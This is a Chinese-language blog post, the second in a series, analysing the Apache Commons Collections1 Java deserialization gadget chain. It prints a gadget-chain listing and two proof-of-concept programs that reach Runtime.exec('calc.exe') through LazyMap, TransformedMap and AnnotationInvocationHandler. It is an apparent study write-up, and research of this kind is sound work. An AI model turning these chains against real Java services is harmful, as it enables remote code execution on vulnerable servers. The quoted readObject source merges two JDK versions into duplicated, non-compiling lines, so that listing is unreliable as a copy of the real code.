Java安全之Commons Collections1分析(二)
0x00 前言
續上篇文,繼續除錯cc鏈。在上篇文章除錯的cc鏈其實並不是一個完整的鏈。只是使用了幾個方法的的互相呼叫彈出一個計算器。
Java安全之Commons Collections1分析(一)
下面來貼出他的完整的一個呼叫鏈
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
0x01 LazyMap
在分析前先來看看LazyMap
這個類,這個類和TransformedMap
類似。都是AbstractMapDecorator
繼承抽象類是Apache Commons Collections
提供的一個類。在兩個類不同點在於TransformedMap
是在put
方法去觸發transform
方法,而LazyMap
是在get
方法去呼叫方法。
當呼叫get(key)的key不存在時,會呼叫transformerChain的transform()方法。
修改一下poc,使用LazyMap的get方法來觸發命令執行試試。
public static void main(String[] args) throws Exception {
//此處構建了一個transformers的陣列,在其中構建了任意函式執行的核心程式碼
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//將transformers陣列存入ChaniedTransformer這個繼承類
Transformer transformerChain = new ChainedTransformer(transformers);
//建立Map並繫結transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
tmpmap.get("1");
}
這樣也是可以成功的去執行命令。
0x02 AnnotationInvocationHandler
網上查詢資料發現AnnotationInvocationHandler該類是用來處理註解的。
AnnotationInvocationHandler類的建構函式有兩個引數,第⼀個引數是⼀個Annotation類型別引數,第二個是map型別引數。
在JDK裡面,所有的註解型別都繼承自這個普通的介面(Annotation)。
檢視它的readObject⽅法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
ObjectInputStream.GetField fields = s.readFields();
@SuppressWarnings("unchecked")
Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
@SuppressWarnings("unchecked")
Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
annotationType = AnnotationType.getInstance(t);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// consistent with runtime Map type
Map<String, Object> mv = new LinkedHashMap<>();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
// for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
String name = memberValue.getKey();
Object value = null;
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value = new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
annotationType.members().get(name));
}
}
mv.put(name, value);
}
UnsafeAccessor.setType(this, t);
UnsafeAccessor.setMemberValues(this, mv);
}
使用反射呼叫AnnotationInvocationHandler
並傳入引數,這裡傳入一個Retention.class
,和outerMap
。
Retention
是一個註解類。outerMap
是我們TransformedMap
修飾過的類。
這麼這時候在 AnnotationInvocationHandler
的readObject
方法裡面 memberValues
就是我們使用反射傳入的 TransformedMap
的物件。
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
這⾥遍歷了它的所有元素,並依次設定值。在調⽤setValue
設定值的時候就會觸發TransformedMap
⾥的
Transform
,從而進入導致命令的執行。
0x03 POC分析
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] {
"calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
這裡可以看到 在Transformer[]
陣列裡面儲存的是一個Runtime.class
,而不是Runtime
物件。這是因為Runtime
並沒有實現java.io.Serializable
接⼝的 。是不可被序列化的。而Runtime.class
是屬於java.lang.Class
。java.lang.Class
是實現了java.io.Serializable
接⼝的。可以被序列化。
把這行程式碼序列化後,在後面的反序列化中並沒有去執行到命令。因為物理機的JDK版本較高,在高版本中的AnnotationInvocationHandler
的readObjec
t是被改動過的 。 從而並沒有到達命令執行的目的,但是在低版本中的JDK是可以執行的。
0x04 參考文章
P牛的JAVA安全漫談系列
https://xz.aliyun.com/t/7031#toc-2
https://www.cnblogs.com/litlife/p/12571787.html
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
0X05 結尾
在分析該cc鏈時,總是從懵逼到頓悟到再懵逼,反反覆覆。在中途腦子也是一團糟。其實到這裡CC鏈的除錯也並沒有結束,本文只是一點基礎知識,為下篇文做鋪墊。